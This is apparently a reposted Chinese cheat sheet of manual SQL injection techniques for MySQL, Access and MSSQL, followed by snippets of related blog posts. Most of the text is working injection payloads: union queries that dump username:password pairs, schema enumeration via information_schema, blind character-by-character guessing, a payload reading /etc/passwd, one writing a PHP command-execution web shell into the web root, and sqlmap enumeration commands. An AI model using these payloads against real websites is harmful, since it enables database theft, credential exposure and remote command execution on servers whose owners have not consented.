SQL手工注入技巧

MYSQL篇
1.内置函数和变量

    @@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

    xxx.php?id=1 and 1=2 union select 1,
    group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

    xxx.php?id=1 and 1=2 union select 1,2,table_name from
    (select * from information_schema.tables where table_schema=数据库名的hex
    order by table_schema limit 0,1)t limit 1– 

查字段:

    xxx.php?id=1 and 1=2 union select 1,2,column_name from
    (select * from information_schema.columns where table_name=表名的hex
    and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1– 

这里可以再结合下concat的拼接功能

    xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20)
    from (select * from information_schema.columns where table_name=表名的hex
    and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
    [n表示第n条数据]  

Access篇

猜表名

    *.asp?id=1 and exists (select * from admin)

猜列名

    *.asp?id=1 and exists (select password from admin)

Order by查询

    *.asp?id=1 order by 3

union 查询

    *.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

    *.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

    *.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

    *.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

    'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

    'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

原文地址:https://www.cnblogs.com/Chorder/p/9114517.html

时间: 2024-10-10 05:57:45

SQL手工注入技巧的相关文章

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR

基于dvwa环境下级别为low的SQL手工注入教程

基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这个入口,浪费了不少的时间,所以在这里就提一下,最好是能够记住,忘了的话可以随时过来看一下:http://127.0.0.1/DVWA/setup.php. 按照提示点击最下面的按钮创建数据库,创建成功就会直接进入登录页面进行登录,然后就可以直接访问http://127.0.0.1/DVWA/logi

sql手工注入时的探测技巧汇总

工具的灵活性肯定比不上人,在手工探测的基础上再去自定义工具,才是正道. sql注入时手工探测技巧 ==================================================================================================== * 探测过滤了哪些字符 select|.|,|;|'|(|)|#|updatexml|from|where|if|limit|group|by|order|floor|sleep|rand|*|/*|

sql 手工注入 补充一(未完待续)

1. 基础用法: ./sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库./sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库./sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户./sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名./sqlmap

SQL手工注入漏洞测试(Sql Server数据库)

还是先找到注入点,然后order by找出字段数:4 通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段.此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入. 一.盲注 盲猜爆出表名 通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段.此处返回内容为正常页面,说

SQL手工注入小结

第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉.否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息. 数字型:and 1=1 and 1=2 判断是否存在注入 字符型:' and '1'='1 ' and '1'='2 搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% IIS报错情况下使用: and user>0 (判

80、SQL手工注入漏洞测试(MySQL数据库)

原文引用https://www.dazhuanlan.com/2019/08/25/5d62593d1d0a1/ 访问网页,进入登陆下方的滚动公告,进行测试注入点?id=1 and 1=1返回正常,?id=1 and 1=2 返回错误,说明有注入点.?id=1 order by 5查询列数.一直减少,直到页面返回正常?id=1 and 1=2 union select 1,version(),database(),4查询版本和数据库名称(此时知道数据库为mozhe_Discuz_StormGro

SQL注入原理 手工注入access数据库

SQL注入原理 手工注入access数据库 SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的. 1.判断网站是否有注入点. 在以asp?id=xx(任意数字)结尾的连接依次添加: ' 1=1 1=2 若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点. 2.猜解表名 在链接末尾添加语句: and exists(select * from admi